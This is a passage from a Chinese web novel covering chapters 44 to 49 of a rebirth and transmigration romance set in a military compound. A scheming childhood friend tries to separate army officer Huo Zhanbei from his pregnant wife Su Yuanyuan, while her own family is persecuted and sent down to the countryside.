“燕子,我都和你解释多少次了。”
楚行止面对夏千燕的一次次纠缠,虽然无语,但并不生气,态度依然温和,
“这不是我们军区大院,这是医院。你让我帮你走后门,你知道你在说啥吗?”
“楚行止,你不要和我说这些规矩好不好?我求你了,你帮帮我,我必须要留下来。你要不帮我,我真是没办法了。”
夏千燕又把声音放得更柔,伸出食指戳了戳楚行止的肩膀。
这要是在上一辈子,或者是换一个男人,她早就直接用小拳头娇滴滴捶他了。
面对楚行止,戳一手指头,已经用尽了她最大的勇气。
“燕子,我就不明白了。你咋这么执拗呢。这里偏远艰苦,有啥好的。你考不过,回海市当护士多好?”
楚行止神情平和地望着,面前这个大院里曾经很亲密的小伙伴。
楚行止心想,难道燕子在海市又招惹了哪个男人,跑这里来躲着了?
“要是你实在不想回海市,那你回京市——”
话说到这里,楚行止突然停住了。
几年前,燕子悔婚,扔了霍战北跑路的事,闹得人尽皆知。
燕子那么骄傲的一个姑娘,她肯定也不好意思回京市。被人指指点点。
“楚行止,真的,求你了,你是我们大院里最好的人了。求求你,帮帮我吧。”
夏千燕心里急坏了。
前几天,她先是让楚行止帮忙递了表格,今天又专门去找了秦院长帮忙。
秦院长一口答应帮她留下。
她进医院当护士这件事,眼看就是板上钉钉的事了。
没想到,居然半路杀出个温**,把她的事情搞砸了。
夏千燕从秦院长办公室出来,走到半路发现,自己的包忘在秦院长办公室了。
她回去拿包,到秦院长办公室门口,刚想敲门,竟听到屋里传出温**和秦院长的声音。
她站在门口,把两人的对话,听了个清清楚楚。
一想到秦院长已经发现自己欺骗了他。
后面的事,夏千燕都不敢再想下去了。
现在,只有楚行止能帮她留下了。
“楚行止,等考过试,你去找副院长,就说你要我进你科室当助手,好不好?”
夏千燕眼里慢慢溢出水光。
“楚行止,你看人家霍战北都能为他媳妇儿走后门,你就不能为我这个发小破例一次吗?”
楚行止平静的脸上第一次有了破裂,
“你说啥?”
楚行止的目光瞟了一眼布帘后面的病床。
“你确定,霍战北为他的小媳妇儿走后门了?”
夏千燕心想,我可不能在楚行止面前说,走后门的人是温**。
这个屎盆子,只能安在霍战北身上,才能说动楚行止为她走后门。
“我——”
夏千燕刚想说:我确定,我亲眼看见的。他去找了秦院长,说让他家小媳妇考试走个过场,让秦院长直接收进去。
“团长,我爹娘来了。”
科室虚掩的门被推开,郑好径直走了进来,冲着楚行止和夏千燕点了一下头,伸手拉开布帘,冲着病床上的人说,
“下午我想请一半天的假。去给他们安排一下。”
霍战北在这屋里?
霍战北一直都在那布帘后面?
夏千燕幽怨地瞪了楚行止一眼,这家伙,他是故意的吧!
听她说瞎话,看她出丑!
楚行止摊一下手,一脸无辜表情。
那表情分明在说:燕子,这可怪不得我。我哪知道你会说人家小两口的坏话。
“好。”
霍战北一如既往地言简意赅,也不问郑好爹娘怎么突然来了。直接就准了假。
“谢谢团长,团长你是世界上
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最好的团长。”
郑好激动地伸开手,上前一步,就要抱一下霍战北。
看到霍战北的冷脸子,突然清醒过来,这可是他们家团长,他敢抱他们家团长,他真是胆肥了,纯找死!
嘿嘿一声,郑好转了个身,径直抱住了楚行止,摇晃了两下,
“楚医生,我们家团长是世界上最好的团长,是吧!”
说完,也不等楚行止回答,转身就跑走了。
“楚行止,你看看战北哥哥多爽快。你再瞧瞧你,我求了你半天,你都没给个痛快话。”
看着霍战北的冷脸子,夏千燕立马转移话题。
“霍战北,你给你媳妇走后门了?啧啧,看不出来啊,你不是天天把规矩两字挂嘴边吗?”
楚行止偏当看不见夏千燕的眼神,直接嘲讽起霍战北了。
没法,从小到大,他们这群大院孩子,哪个不是在霍战北的阴影下长大的。
成绩好、身体好、军事能力强,原则性强。
尤其是靠自己硬实力考上军校,一路建功,26岁当上团长。
这样的霍战北,才是妥妥的大院后代。
“那个,战北哥哥,你别听楚行止胡说,我——”
夏千燕觉得她好像说啥话,都圆不了,她刚才说的那句谎话。
“你一个姑娘家,别随便叫人家哥哥。”
霍战北扫了一眼夏千燕,转头瞪着楚行止,
“我给我媳妇儿走后门,关你啥事?”
声音欠欠地说,
“咋得,你一个没媳妇的,想给你媳妇走后门,也没得走。”
啊?
夏千燕无语。
她从小到大,没少叫战北哥哥、行止哥哥。
咋了,这会子他才挑上了。
再看这两个只顾互掐,完全不管她的男人。
看吧,她就是白担心了。她说谎也罢,说真话也罢,霍战北根本不在意。
这两人还是像小时候一样,只要一见面,不是在互掐,就是在互比。
别看这两人,在外人面前一个冷酷,一个文雅。
其实私底下一见面,秒变愤青,斗得跟个乌眼鸡一样,谁也不服谁。
她外婆暗地里蛐蛐这两人:就是吃屎,这两人都得比谁吃的热、吃的多!
第45章 你没媳妇
“我媳妇要想上班,我就去给我媳妇走后门。你想走后门也走不了。”
霍战北专门挑刺扎心,
“因为你没媳妇。”
“哼,显摆你有媳妇儿。”
楚行止话里带着酸意,
“我要找到了我家宝宝,我也给宝宝走后门。”
我家宝宝?
夏千燕重生一世,再听到这个名字从楚行止嘴里说出来,依然感觉到头皮发麻。
宝宝就是楚行止放在心尖尖上的白月光。
霍战北冷哼一声,
“你还是早点死心吧,一辈子你也找不着。”
楚行止心尖上的这个痛,楚家所有人都忌讳着,只有霍战北才会毫不犹豫地刺破,
“还是尽早找个女人结婚,给你们老楚家传宗接代吧!”
“你个绝嗣的家伙,我楚家香火用不着你管。你倒是……”
这些年,两人一见面,就互相蛐蛐。
一个说对方找不着白月光,不如早点结婚生孩子。
另一个就说你都绝嗣了,就别嚯嚯人家姑娘了,独着一辈子多好。
楚行止说习惯了,嘴一瓢说到一半,才突然意识到,现在的霍战北不但有媳妇了,人家媳妇还怀孩子了。
霍战北像没看到楚行止的脸色一样,
“我说楚呆子,你又不结婚,就把你随军的名额给她用呗。”
她?
楚行止怔了一下,才明白霍战北嘴里说的她,指的是夏千燕。
“啧啧,霍战北,你这结了婚可真不一样了。不但不让人家姑娘叫你哥,连别的姑娘家名字你都不敢叫了。“
楚行止哈哈,
“咋的,你那个小媳妇给你立规矩了,是不是不许看别的姑娘一眼,不许和别的姑娘说话,不许……”
楚行止秒变话唠,夏千燕苦笑,这样鲜活的楚行止,也只有在面对霍战北的时候,才能看到。
“立了,咋的?”
“立了?你小媳妇才来几天啊,真就给你立规矩了?”
楚行止失声。
“立了,是我自己给我自己立的。不行吗?”
霍战北一脸不以为耻,反以为荣的光荣感。
“行,你说行,就行,你真行!”
楚行止一脸无语,狂竖大拇指。
这一幕刺得夏千燕心头一阵难受。
霍战北对他的胖媳妇,
楚行止对他的白月光,
这两个男人对他们的女人都好。
唯独没有一个对她好。
夏千燕心里酸楚,回想上辈子。
就是在这个时候,她们夏家出事了。她和妈妈设计,假装她是楚行止的那个白月光,嫁进了楚家。
后来被拆穿,她被楚行止打骂了一辈子,折磨了一辈子,报复了一辈子。
此时,
夏千燕可不想站在这里,听这两男人斗嘴。
她真是心急如焚。
九点钟的时候,她给她妈通了个电话。
她妈说的那些话,还在她的脑海里回响。
——回忆打电话——
燕子妈:“燕子啊,你爸的事彻底定性了,批斗了三场,今天傍晚坐六点的火车,下放到秦家沟**三年。”
秦家沟?
离军区只有二十多里路的一个偏僻小山村。
夏千燕握着电话,一阵眩晕。
“为啥要到秦家沟来?妈,你也不想想,秦家沟离我这么近。要是让人知道我爸爸是吸血资本家。那我还能在这里工作吗?还能再嫁给战北哥哥吗?”
“燕子啊,你爸一出事,我担心你跟你爸在海市,怕你也被抓住。万一你被单独送往别处,你一个姑娘家……”
燕子妈哽咽了一下,
“我和你爸结婚多年,虽然一直两地分居。但我们毕竟是夫妻。你爸出事,我也不能幸免。”
燕子妈声音有些颤抖,
“我这几天,忙着给你爸跑路子,让他少挨打,找了关系保住他的命。你爷腿被打断了,你奶病倒了。”
燕子妈继续说,
“我们夏家的天塌了。我费尽心力,找尽门路,才把他们三人**的名额弄到一起。”
“啥,你说他们三个,都要下放到秦家沟?”
“嗯,就是天塌了,我们一家子在一起,总是比分散开了好。”
夏千燕心里暗骂,她妈一辈子精明,怎么到这时候,却干了这么件大蠢事。<
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br>三个**犯都发配到她身边来,这不是嫌她死的慢吗!
“那你呢?我外公外婆能托人保住你吗?”
“你外公外婆还有一大家子人呢?我不能连累他们。”
燕子妈抽泣着,
“我打算今天下班回去,就从家里搬出去,和他们划清界线。”
夏千燕都不知该说她妈啥。
都知道要划清界线保护她爹娘,怎么就没想到要划清界线保护她这个亲闺女呢?
但是现在说啥都晚了。
她必须要在她爷奶、爸爸来找她之前,彻底搞定霍战北,撵走那个胖村姑。
“妈,咱一家子要想活下去,我们只有一条路,你帮我,我要追回霍战北。”
“你要妈咋帮?”
燕子妈知道,此时也只有霍家能把她们夏家捞出来了。
“我要你搞破坏,让霍家出点差子,把温**叫回去。她在这儿,我没办法。”
“他家里我不好动手,我只能在医院里想想办法了。让你霍伯伯出点小事。”
燕子妈是护士长,霍战北父亲科室,就在她们护理范围内。
“明天你霍伯伯要给一个女大学生做手术,别人不知道,我知道她是GE委会张主任的小,张主任正好托我照顾她术后护理。”
燕子妈说,她正好让这个女人出点事,然后让张主任怪到霍战北爸身上,去查他。
霍家出事,温**就一定会赶回去。
这样不但能解决夏千燕这边的危机,同时燕子妈还能讨好张主任,等夏家事件消息传到京市,调查燕子妈的时候,张主任能网开一面。
——通话结束——
“嗯,这个法子,也不是不行。”
楚行止沉思了一下,
“燕子,你要是考不上,暂时用我家属名额随军,部队会给你安排个活路。”
夏千燕不但不感谢,听了这话,后背猛的一凉,
“我要用了你这个名额,以后你找到了白月光,你不怕她不能随军了?”
楚行止眼睛迷离,
“我要找到她,不是她随军,而是我离职。我就跟着她,这一辈子,她去哪,我就去哪。”
第46章 嘿嘿,眼睛跑偏了
“你腿没问题了,再修养一个月,就不需要坐轮椅了。”
楚行止看着霍战北从床上下来,向轮椅上挪,完全没有一点要帮他的意思。
“战北哥哥,你慢点,我来扶你。”
夏千燕赶紧上前,伸手要去扶霍战北。
结果没注意脚下,整个人朝霍战北怀里扎去。
“腿,腿——”
楚行止被这突然的变故惊得,一下子站了起来。
天哪,燕子啥时候变得这么****糙糙了,这要是摔霍战北腿上,可真要变成瘸子了。
夏千燕刚一开始吓了一跳,一瞬间她就反应过来,心里一阵狂喜。
太好了,老天爷都在帮助她。
一手抓向霍战北的衣领,另一只小手抻向了霍战北裤子……
夏千燕幻想着,她倒在了霍战北的怀里,然后手正好撕开了他的衣领,另一只小手正好放在他的裤……
想想那画面……
扑通——
哗啦——
夏千燕整个人撞上旁边的台子,上面的药瓶掉到地上,碎成一片玻璃渣渣,而她整个人扑到了上面。
药液、玻璃渣,混着血腥。
夏千燕不敢相信地摊开手,她的左手居然被划破了,一身狼狈。
“战北哥哥——”
夏千燕眼圈红了,嗓音哽咽。
她实在不敢相信,刚才就在她快要趴到霍战北怀里的时候,他竟然一手推开了她,力道之大,让她撞翻了台上摆放的一堆药瓶。
“霍战北,你这——”
楚行止都不知该说啥好了,上前扶起夏千燕,让她坐到椅子上,转身就拿消毒水给她清理伤口。
“我有媳妇了。”
霍战北冷眼扫了一下夏千燕。
“他没媳妇,你可以叫他哥哥,趴他怀里,脱他裤子都可以。”
楚行止瞪了一眼霍战北,
“霍战北,你总得给燕子留点脸面。好孬我们都是从小一起长大的。”
然后又拿着小镊子,低头夹夏千燕手掌心里的玻璃碎渣,一夹一个小血口子,啧啧,看着都疼。
“燕子,虽然霍战北做的有些过份。但我也得说你两句。他都是有媳妇的人了,你总往他身上扑干啥?”
啥媳妇,那个又丑又胖的村姑,是他啥媳妇?
这些天,夏千燕经历了太多事,没有一件是顺利的。
此时,被霍战北这么毫不留情地一推,实在是伤心了。
她真想冲着霍战北这么吼。
可她知道,此时,她不能。
“你们都冤枉我,我没有。我真的是滑了一跤。”
夏千燕坐在椅子上,一身狼狈,手上流血,眼含热泪,委屈巴巴地望着霍战北,
“战北哥哥,你总不能因为结了婚,就不让我叫你哥哥了。我都叫了你二十年了。”
楚行止一边给夏千燕手缠纱布,一边连头,
“对,燕子都叫你哥哥,叫了二十年了。你总不能因为娶个媳妇,就不让人家叫了。”
“让她叫你。反正你没媳妇。”
看着霍战北一脸油盐不进的样子,楚行止无奈笑了,
“好,我真是服了你们两个了。一个是死活都要往上贴,一个是死活不让靠。”
楚行止眼神又落在霍战北脖子处。
“我说,霍战北,我知道你是娶媳妇了。可是,你都伤成这样了,也不能悠着点。”
夏千燕顺着楚行止目光,看到霍战北敞开的风纪扣处,一片片可疑的红痕。
那是?
她的小脸一下子涨红了,不是羞的,是气的,
“楚行止说的对,你都受伤了,她还……”
“怎么,你想管我屋里的事?”
夏千燕心头一跳,霍战北这语气冷漠又厌烦。
坏了,她怎么头脑一热,忘了霍战北向来脾气冷硬,毒舌无情。
从小到大,这男人是出了名的护短。他的啥都是好的,绝不容别人多说一个不字。
“不是,战北哥哥,我的意思是。你一个大男人粗心,苏圆圆这会子正怀着孩子,你这样闹,对她和孩子不好。”
“我说过,别随便叫人哥哥。”
“好,我都听你的。以后我不叫你战北哥哥了,我叫你霍战北行了吧。”
夏千燕一脸委屈求全。
“好了,燕子,你这手一周别沾水。你又不是不知道,他那狗脾气,护短的很。”
楚行止给了夏千燕一个安慰的眼神。
夏千燕一脸乖巧点头,
“我知道,我只是担心他不知轻重,自己腿还伤着,还有苏圆圆肚子那么大了,他们两个还……”
夏千燕茶言茶语,
“话说起来,那个苏圆圆才刚来几天啊?你们两个才刚过几面,你们能
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有多深的感情,是不是她又给你下了药?”
“我的男人,我想怎么睡就怎么睡,你一个外人,管得着吗?”
门口突然传来一个熟悉的声音,一个胖大身影走了进来。
“苏——”
夏千燕觉得今天她的点子可真背。
怎么诸事都不顺啊。
该死的苏圆圆,又说她是外人!
等着吧,早晚有一天,她会抢走霍战北,抢走她的孩子,到时候让她也尝尝做一个外人的滋味。
“这是咋的了?”
苏圆圆看看一地碎玻璃渣,看看夏千燕手上的纱布,又看看霍战北。
“你是——”
楚行止不语,若有所思地盯着苏圆圆。
一个白胖的小媳妇,五官不丑,但真心太胖了。
可是,他怎么觉得,霍战北这个胖媳妇,他好像在哪里见过?
“媳妇,这件事我可以解释。”
霍战北才一开口,楚行止立马打断了。
“你是嫂子吧,我叫楚行止,是霍战北的发小兼主治医生。嫂子,事情是这样的……”
夏千燕越听,眼睛睁得越大,事情还能这样处理?果然是楚行止,心眼子比筛子还多。
“嫂子,燕子也不是故意的。主要是霍战北伸手扶她,太近了,燕子才不小心按到了……”
楚行止的目光落到了霍战北那个……
这哪是替霍战北解释,分明是越描越黑。
夏千燕连忙点头,冲着苏圆圆说,
“事情就是楚行止说的这样,我不小心摔倒了。霍战北是好心想抓住我,我才失手不小心,按到了……”
然后夏千燕忸怩了一下,
“我会不会一不小心,给霍战北按坏了呀。毕竟他绝嗣的病才刚有起色。我——”
啥?
苏圆圆的目光嗖一下落到了……
那地方,鼓了出来……
这?
然后,苏圆圆好死不死地,目光下意识扫向楚行止的那个地方。
嗯,楚医生的没……
接下来,苏圆圆的目光最终落到了楚行止的脸上。
那个地方虽然……但这张脸却真是漂亮得紧。
“嫂子!”
“媳妇!”
两个男人一起吼。
“不好意思。”
苏圆圆回神,嘿嘿两声,
“嘿嘿,我的眼睛跑偏了!”
第47章 媳妇,我比他好看
“他叫楚行止,我大院的发小。他有一个打小藏在心里的白月光,一辈子非她不娶。”
楚行止?
认识霍战北二十几年,这还是他第一次见这家伙一口气说这么多话。
“我们的婚礼,我妈交给了这家伙来布置。”
霍战北目光柔和盯着苏圆圆,
“这地上的玻璃渣是夏千燕撞碎的,她是我推的。因为她叫我哥哥,还伸手想摸我。”
霍战北一脸正经,
“媳妇,我可是有媳妇的人,我知道我得守男德。”
楚行止?
他眼睛睁大,瞳孔巨震,张大嘴巴,二十几年的人生中,他是第一次保持不住儒雅的风度。
夏千燕脸上娇羞的表情也保持不住了。
噗嗤——
苏圆圆忍不住笑了出来。
第一次发现,她家男人真真是可爱**。
虽然两人在现实中才认识几天,但她可是看完了大半本书的人啊。
霍战北作为男主,她可是看完了他很多事情和内心活动。
甚至可以说,作为读者,苏圆圆甚至比原书女主夏千燕,还有霍家父母,楚行止这个男主朋友,都还要了解男主霍战北。
外面军营硬汉,家里黏人人夫,大狼狗和小奶狗之间自由切换的人格。
嘿嘿,这样的霍战北,怎么能让人不爱呢?
刚才她看楚行止裤……明显自家男人吃醋了。
苏圆圆心里想到了,行动也是这么做的。
霍战北坐在轮椅上,她俯下身,这个高度正正好,可以让她看清霍战北这张360度无死角的俊脸。
捧着霍战北的脸,苏圆圆甜笑着,
“我们家北北可真乖,么么哒!”
说完,直接在霍战北额头印下一吻。
楚行止:我看到了什么?霍战北的小胖媳妇这么猛的吗?
夏千燕:这死胖子不是乡下来的吗?乡下女人都这么开放的吗?
霍战北:嘿嘿,我媳妇亲我了!我媳妇当着楚行止那家伙的面亲我了!
看以后楚行止还敢说我绝嗣吗?
“嫂子,这,这——?”
楚行止想说这是白天,这旁边还有我们两个大活人呢?
可他接触到霍战北警告加讽刺的眼神,闭嘴了。
唉,谁让他嘴贱,刚才他直接当着霍战北的面,就给他上眼药。原意是想看一下霍战北小媳妇吃醋发飙,和霍战北闹一场。
看以后霍战北还敢总嘲笑他没媳妇不?
结果呢?
霍战北这家伙浑身都硬,偏长了一张嘴,啥没脸没皮的话,都敢当着他和燕子的面,对他媳妇说。
他这个小胖媳妇更绝,人家不长嘴,完全是个行动派,直接给他们演了个亲亲爱爱。
“楚同志?你是我家男人的发小,又是我家男人的主治医生。”
苏圆圆笑眯眯,
“我婆婆既然托了你布置我们的婚礼。那真是让你费心了,谢谢啊。”
婚礼?
苏圆圆看了霍战北一眼,看到他眼神里的软和。
苏圆圆不禁回想起那天晚上两人的对话:
“霍战北,我妈那样对你,你不生气了?”
“都过去了,你现在是我媳妇,她是我岳母,哪有女婿生岳母气的。”
“你不嫌我不懂事,不打招呼,揣崽直接跑来找你?让你丢脸?”
“你是我媳妇,来找我随军应该的。”
“夏千燕比我瘦,比我学历高,人家还是海市千金大小姐,你选我不后悔?”
“后悔啥。你才是我媳妇,别人好不好和我没关系。”
“你不怕人家说你不长眼,不要千金大小姐,反要一个乡下大肥婆?”
“嘴长在别人脸上,别人想说啥,我管不着。”
停了一下,霍战北郑重地说,
“你是我媳妇,别人说我行,说我媳妇不行。”
霍战北一脸认真,
“我们霍家的家规,大事都听男人的,小事都听媳妇的。”
面不改色又加了一句,
“我们家没啥大事,万事都听媳妇的。我妈和我奶奶还说,我们霍家的男人,得守男德。”
哎哟,瞧瞧,这就是她男人,私底下是这样说的。
如今,当着楚行止和夏千燕的面,也是这么霸道行事的。
喜欢,真心太喜欢这个男人了。
有钱有颜又有嘴的男人,真真是太让人喜欢了。
苏圆圆看向楚行止,不禁眯了一下眼。
这个男人也好看,只不过和她们家霍战北不是一个类型。
“苏圆圆,我和楚行止刚才就是和你开个玩笑。”
夏千燕知道这时候,她不能当着霍战北的面,和苏圆圆再硬碰硬。
霍战北太宠媳妇,
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苏圆圆又太不按常理出牌。
她得悠着点。
“那个楚同志,我对婚礼有点小小的要求,我喜欢鲜花,布置……”
苏圆圆吧啦吧啦说了一大霍,她对婚礼的想法。
不管咋说,她两世为人,这可是第一次结婚。
真正属于她的婚礼,她总得提点要求。
楚行止?
鲜花?条幅?
这些个要求,是一个乡下村姑能提出来的吗?
“楚行止,你光听能记住吗?拿个笔把我媳妇的要求记下来。”
霍战北又补刀。
听的旁边的夏千燕脸抽了抽,几乎要崩不住。
这两个人,真是太懂怎么**诛心了。
楚行止一怔,才发现,刚才他不只是听霍战北这个小胖媳妇讲话。
他还直盯着这个小胖媳妇看。
越看,越觉得这个小胖媳妇,咋有一种熟悉的感觉呢?
“我们在哪里见过吗?”
楚行止的一句话,使周围的空气温度都下降了。
苏圆圆也怔了一下,心想,这个楚医生真逗。
咋的,和女人搭讪的话术,几十年男人们都是一样的吗?
“对,我们是见过。”
苏圆圆一本正经的样子。
楚行止连忙点头,
“是吧,你一进来,我就觉得你面熟。我们一定在哪里见过,不好意思,我记不住了。你能说说我们是在哪见过的吗?”
不知为何,楚行止的内心深处,有一个声音,一直在叫他靠近苏圆圆。
苏圆圆脸色更加正经了,
“我们这不是正在见面吗?”
哈哈——
说到这里,苏圆圆再也忍不住笑了起来。
霍战北这个发小,白瞎了一张俊脸,这咋看都像个弱智啊!
”嫂子,你——“
”这要怪只能怪你长了一张漂亮的脸蛋,让人一见就记住了。哈哈“
苏圆圆继续调侃了他一句。
”媳妇,我比他好看。“
霍战北弱弱一名,苏圆圆笑得更欢了。
”哎哟,你当然比他好看了。我苏圆圆的男人那必须是天下第一好看啊!“
”你们——“
夏千燕破防了。
别人不知道,她一个重生女,自然心里明白的,楚行止找了许多年的白月光。
就是眼前的大肥婆——苏圆圆啊!
第48章 还是我们圆圆好看
“一个臭小子,有啥好看的。还是我们圆圆好看。”
温**进来,笑看着自家的儿子媳妇秀恩爱。
心里欢喜地很。
哎哟,看看,她们家这臭小子开窍了。
亏她这些年和婆婆都要愁**。
自家臭小子绝嗣也就算了,脾气还臭得很,她常和婆婆私底下发愁,说别看那些闺女说是愿意嫁进来,可能跟她家臭小子过几天,还不好说。
老天保佑,臭小子终于找到心甜的人了。
苏圆圆比霍战北好看?
楚行止?
夏千燕心堵得不行。
“这是怎么了?”
温**看到地上的碎片,又看看几个年轻人。
“**阿姨,你们几个在讨论战——霍战北的婚礼怎么办。”
夏千燕可不想,让今天发生的这些事,被温**知道。
苏圆圆看了一眼夏千燕,嗯,死丫头这会倒是长记性了,不敢喊战北哥哥了。
“夏千燕,我不知你们海市是啥规矩。但在我们村子里,年轻人喊年长者,不管咋喊,都不能带名字的,那是不敬。”
“**阿姨,你看嫂子,她就会挑我的刺。”
夏千燕娇嗔地去挽温**的胳膊。
温**却闪开了,
“燕子,我们家圆圆说的对。你以后还是叫我温阿姨吧。”
其实夏千燕叫她**阿姨,她心里也有些不对劲。
只不过,以前碍于面子,想着夏千燕以后会是自己儿媳妇。如今事情没定之前,喊就喊吧。等嫁过来以后,自然会改口的。
这会听儿媳妇替自己纠正夏千燕的错误。
温**心里暖极了。
瞧瞧,还是儿媳妇贴心。
“对,对不起,明——温阿姨,都是我考虑不周到。你别和我一样。”
夏千燕赶紧道歉。心里有些懊悔。
她其实是觉得,她这样喊温**,是和她拉近亲昵关系的表现。哪曾想在这里被苏圆圆挑了个错。
“我从小在你面前长大,在我心里,温阿姨就和我妈一样。”
绿茶!巧嘴瞎说!
苏圆圆心里嘀咕,你可拉倒吧。你还把我婆婆当亲妈,你也不看看,哪个闺女会喊她亲妈,喊名字的。
“我会帮着楚行止,一起布置婚礼的。温阿姨,你只要必话指导我们就行,不要劳累了。”
看着夏千燕一脸乖巧的样子,温**终是心软,
“你们三个是在一个大院里,从小一起长大的。过去的种种都过去了,以后在这里,要互相帮助。”
“好,都听温阿姨的。”
从小夏千燕就嘴甜讨喜。温**是很喜欢她乖巧温柔的样子。她长大了,与自家儿子订了亲,温**就更疼宠夏千燕了。
只是没想到,前些年她霍家才一出事,夏千燕就毁婚跑路回海市了。
这事在温**心里是一根刺。
但自家儿子绝嗣,她虽难受,也没有完全怪夏千燕。
所以夏千燕这次回头,跑来军区找儿子和好,她才那般高兴。
只是没想到,儿子竟然瞒着家里人,和圆圆偷偷结婚了。
这时候,温**再看夏千燕,那就有些不一样了。
“燕子,有事你和楚行止一起来找战北。他们男人忙,不够细心。有些姑娘家的事,你给我打电话,或者给我家圆圆说,让她给你打电话。千万别啥事都自己扛着。”
温**这些话,既是不忍心夏千燕一个姑娘家,独自在这里生活。
又是在敲打她,我儿子结婚了,有事你也不能私下一个人去找我儿子。
“嗯,我知道了,谢谢温阿姨。”
夏千燕这么懂事,温**倒不好再多说什么了。
想起刚才她打电话,听战北爸说的事,温**看向夏千燕的眼神不由充满了怜惜。
不由回忆起,刚才她给战北爸爸打电话的情形。
“明天的手术,你可别去做。你不知道,咱家圆圆做了梦……”
温**拿着电话,吧啦吧啦,把刚才苏圆圆给她说的梦,抽签解梦等事,都告诉霍爸了。
“对了,你明天做手术的那个年轻姑娘叫啥名?”
“张真红。”
“啊,天哪,你看看,还真让咱家圆圆说着了。她说三个月你都不能和带红的年轻姑娘有联系。”
温**着急了,
“这可是胎梦,咱家孙孙保佑你的。我寻思着,那个张主任既然
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不是个好人,那这个张真红也不一定是个正经人,她真是张主任的侄女吗?”
“**,这个还真让你说对了。刚才我路过走廊,听到两护士说小话。说这年轻姑娘不是侄女,是张主任的小。我还觉得这些小护士没事,就爱说患者小话,不太好,想着下周开例会批评一下这个现象呢。”
“哎哟哟,看吧。咱孙孙真是个福宝,在肚子里就知道帮爷爷了。”
温**笑眯眯,
“还有咱儿媳妇,真是个福星。你看,自从她进了咱霍家的门,咱家那臭小子的绝嗣毛病也治好了,如今还怀了双胞胎。”
“**你说的对,这几天咱妈就念叨,说孙媳妇是个福星,一进咱霍家门,就带来了福气。”
“所以啊,臭小子说的对。得给咱家圆圆补办一场婚礼,要办得热闹,该给她买的啥,咱一样也不能少。”
两人正说着,温**听到电话那头突然传来一个熟悉的声音。
“霍大哥,听说你过两天就去军区。我想让你帮我捎些东西和一封信,去给我们家燕子。”
温**皱眉,燕子妈?
一听到燕子妈的声音,温**才想起另一件被她忽略的事。
夏千燕来军区找儿子复和,这事,是夏千燕来军区给她打电话,她才知道的。
当时,她一听这事,心里是非常高兴的。但她也有顾虑,毕竟自家儿子绝嗣,如果真娶了燕子,岂不是坑了夏家两口子,毕竟燕子是人家的独生女。
她当时就问燕子,她来军区,她父母同意不。
燕子当时回答她,当初她年轻不懂事,被吓着了,悔婚跑回上海,其实这几年,她一直都很后悔,都很想霍战北。
只是姑娘家脸皮薄,不好意思回头。
直到现在,父母逼她相亲结婚,她才鼓足勇气,告诉父母,她还是放不下霍战北。
父母疼爱她,就答应让她去军区找霍战北复和了。
温**想着,如今夏千燕来到军区,没想到儿子已经和圆圆结婚了。
这事,燕子妈应该还不知道。要不然,也不会跑来找战北爸爸,要他捎东西给燕子。
“你别挂电话,也别多嘴。”
第49章 娶乡下丫头才是绝配
温**赶紧交代自家男人,反正燕子来军区找儿子复和,说到底是她们夏家一家三口商量的,并没有提前给他们霍家打招呼。
此时事不成,也怪不得他们霍家。
为了以后相见,面子上好看,他们还是装不知道这事为好。
“护士长,院长找你。”
温**听到电话那头,燕子妈才说几句话,就有人跑过来找她。
“院长找我啥事?”
燕子妈心头升起一个不好的预感。
今天闺女和她打电话,交代她想办法,弄出点事来,拖住霍家,最好把温**给催回来。
她都准备好了,明天张真红那个手术,弄点事出来。
没想到,今天上午她弟弟竟然举报了她。
燕子妈知道,她最担心的事,还是发生了。明天她也弄不成霍医生了,因为她感觉到,她今天都可能过不去,就得被拿、被批。
所以,才匆忙跑来,想让霍医生帮她带东西给燕子。
“不知道是啥事。”
来叫人的小护士吞吞吐吐,
“我只看到张真红的大伯,那个张主任,还有几个和他一样戴红袖箍的人。”
燕子妈脸色变了,
“好,你先回去告诉院长,我这就去。”
看着小护士走出去,燕子妈转身关上霍爸医务室的门,
“霍大哥,包裹我放在传达室了。还有这些东西,你全帮我带给燕子。”
燕子妈把口袋里的粮票和钱,还有身上的手表、项链、手镯、戒指全拿下来,一谷脑放到桌上。
“拜托了,霍大哥,全带给燕子。”
燕子妈知道,她这一去,最好的结局就是,能下放到燕子爸**的地方。
燕子爸三个人走的时候,除了换洗衣裳和被子,啥也不让带。
她也会被搜身的。
这时候,霍家能给燕子带去多少东西,这就是她们到了秦家沟,所有的家底了。
燕子妈转身出去了。
“GE委会的人为啥找燕子妈,他家出啥事了?”
温**心里一紧,这几年,他们大院里的人,出事的多了。
“唉,是夏家出事了。说他们家根本不是红色资本家,一家三口都被批斗、下乡**了。”
霍爸说起,前天,燕子妈和燕子外婆一起到家里,来找老爷子,希望老爷子能出面,帮帮夏家。
结果老爷子派的人还没和海市协调好,夏家三人就被直接送走,下放了。
“那我上次打电话,咋没听你这事?”
“和咱家又没关系,和你说这些干啥。”
温**无语,是的,她家男人向来不关心大院里的这些事。
“你还听说啥了?不是,咱妈在家说啥了?”
温**想着,要不是燕子妈找到家里来,要不是她婆婆在家里说啥,大院各家的事,她男人是不会在意的。
“我听咱妈给老爷子叨叨,说燕子外婆让燕子妈离婚,她不愿意。”
霍爸停了一下,
“哦,我回家拿文件的时候,在大院里看到一群人,在说燕子舅代表全家,给燕子妈贴了张大字报,让她滚出大院。”
“这人也太狠心了,毕竟是自己亲姐姐,这些年他姐姐姐夫可没少帮他们。”
温**啧啧。
“你赶紧把那些东西放好,别让人看见了。”
温**赶紧交代男人。
公公和燕子外公是多年的老战友,自家男人和燕子妈又是同学,最后还分在一个医院。
温**知道,这个忙,自家男人不好不帮。何况,看样子,燕子妈这回真摊上大事了。
门被敲响了。
“进来。”
还是刚才那个小护士的声音,
“霍医生,张主任想和你谈谈。”
霍爸看到小护士身后,露出张主任那些张着三角眼的油脸。
“张主任请进,有事你说。”
霍爸把电话放一边,并没有挂上。
“霍医生啊,我来,还是昨天和你谈的那个事。想劳你大驾帮个忙。呵呵——”
张主任又把请霍爸给他侄女张真红做手术的事,说了一遍。
“好,这不是啥大事,你还亲自跑一趟,张主任,你实在太客气了。”
“能请你霍大医生出面,我这心才能稳。小姑娘家家的,都爱美,哈哈。”
张主任笑着,
“我这也是来公干,看过院长,也得来看看你啊。”
温**听着这张主任的哈哈,真是个精明的。先把院长提出来。
“公干?我们医院出事了?”
“也不是啥大事,就是你们科室的护士长,被她亲弟弟举报了,说她是资本家老婆。”
“亲弟弟举报?”
“可不是吗,她亲弟弟举报的,材料都给准备得好好的,我们就直接上手抓就行,审都不要审了,直接定好下放就行。”
张主任说到这,脸色一变,三角眼闪出狠毒的光。
但一转向霍爸,脸上又换上了笑,
